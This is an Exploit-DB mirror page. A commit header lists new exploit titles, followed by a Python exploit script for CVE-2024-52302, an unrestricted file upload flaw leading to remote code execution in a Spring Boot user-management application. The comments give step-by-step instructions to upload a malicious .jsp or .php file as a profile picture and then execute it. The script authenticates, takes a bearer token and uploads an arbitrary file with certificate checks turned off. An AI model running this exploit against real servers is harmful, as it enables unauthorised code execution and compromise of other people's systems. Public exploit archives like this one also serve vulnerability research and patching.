exploit-db-mirror/exploits/java/webapps/52206.py
Exploit-DB b905517ca9 DB: 2025-04-16
22 changes to exploits/shellcodes/ghdb

Spring Boot common-user-management 0.1 - Remote Code Execution (RCE)
ABB Cylon Aspect 3.07.02 (userManagement.php) - Weak Password Policy
ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) - Remote Code Execution
ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) - Stored Cross-Site Scripting
ABB Cylon Aspect 3.08.02 (licenseUpload.php) - Stored Cross-Site Scripting
ABB Cylon Aspect 3.08.02 (uploadDb.php) - Remote Code Execution
ABB Cylon Aspect 3.08.02 - Cookie User Password Disclosure

ABB Cylon Aspect 3.08.03 (CookieDB) - SQL Injection

Ivanti Connect Secure 22.7R2.5 - Remote Code Execution (RCE)
ABB Cylon Aspect 3.08.03 (MapServicesHandler) - Authenticated Reflected XSS
ABB Cylon Aspect 3.08.03 - Hard-coded Secrets

Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
IBMi Navigator 7.5 -  HTTP Security Token Bypass
IBMi Navigator 7.5 - Server Side Request Forgery (SSRF)

Plane 0.23.1 - Server side request forgery (SSRF)
ABB Cylon Aspect 3.08.02 (escDevicesUpdate.php) - Denial of Service (DOS)
ABB Cylon Aspect 3.08.02 (webServerUpdate.php) - Input Validation Config Poisoning

Cacti 1.2.26 -  Remote Code Execution (RCE) (Authenticated)

OpenCMS 17.0 - Stored Cross Site Scripting (XSS)

Really Simple Security 9.1.1.1 - Authentication Bypass

Pymatgen 2024.1 - Remote Code Execution (RCE)
2025-04-16 00:16:24 +00:00

96 lines
No EOL
3.3 KiB
Python
Executable file

# Exploit Title: Unrestricted File Upload
# Google Dork:
# Date: 14/Nov/2024
# Exploit Author: d3sca
# Vendor Homepage:
https://github.com/OsamaTaher/Java-springboot-codebase
# Software Link:
https://github.com/OsamaTaher/Java-springboot-codebase
# Version: [app version] 0.1
# Tested on: Debian Linux
# CVE : CVE-2024-52302
# Steps to Reproduce:
# Upload Malicious File: Send a PUT request to /api/v1/customer/profile-picture using customer with role 26,17 added with a malicious file payload (e.g., .jsp, .php, .html).
# GET the file location: Send GET request /api/v1/customer/my-profile , grap the file location in response with the profile's link.
# Execute the Uploaded File: Using the file name access the file directly through the URL returned in the response.
# If the server supports the uploaded file type, it will execute the file, leading to Remote Code Execution.
import requests
import argparse
import sys
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def login(url, username, password):
"""Authenticate with the API and return the Bearer token."""
login_endpoint = f"{url}/api/v1/user/login"
headers = {"Content-Type": "application/json"}
payload = {
"username": username,
"password": password
}
try:
response = requests.post(login_endpoint, json=payload, headers=headers, verify=False)
response.raise_for_status()
# Extract token
token = response.json().get("token")
if not token:
print("[!] Token not found in response. Exiting.")
sys.exit(1)
print("[+] Authentication successful. Token acquired.")
return token
except Exception as e:
print(f"[!] Login failed: {e}")
sys.exit(1)
def upload_file(url, token, file_path):
"""Upload a file to the profile picture endpoint using the Bearer token."""
upload_endpoint = f"{url}/api/v1/customer/profile-picture"
headers = {
"Authorization": f"Bearer {token}"
}
files = {
"file": open(file_path, "rb")
}
try:
response = requests.post(upload_endpoint, headers=headers, files=files, verify=False)
response.raise_for_status()
if response.status_code == 200:
print("[+] File uploaded successfully.")
print(f"[+] Response: {response.text}")
else:
print(f"[!] Failed to upload file. Status code: {response.status_code}")
print(f"[!] Response: {response.text}")
except Exception as e:
print(f"[!] File upload failed: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Exploit script for unrestricted file upload vulnerability.")
parser.add_argument("-u", "--username", required=True, help="Username for login")
parser.add_argument("-p", "--password", required=True, help="Password for login")
parser.add_argument("-f", "--file", required=True, help="File to upload")
parser.add_argument("-url", "--url", required=True, help="Base URL of the target application (e.g., https://target.com)")
args = parser.parse_args()
# Authenticate
token = login(args.url, args.username, args.password)
# Upload the file
upload_file(args.url, token, args.file)
if __name__ == "__main__":
main()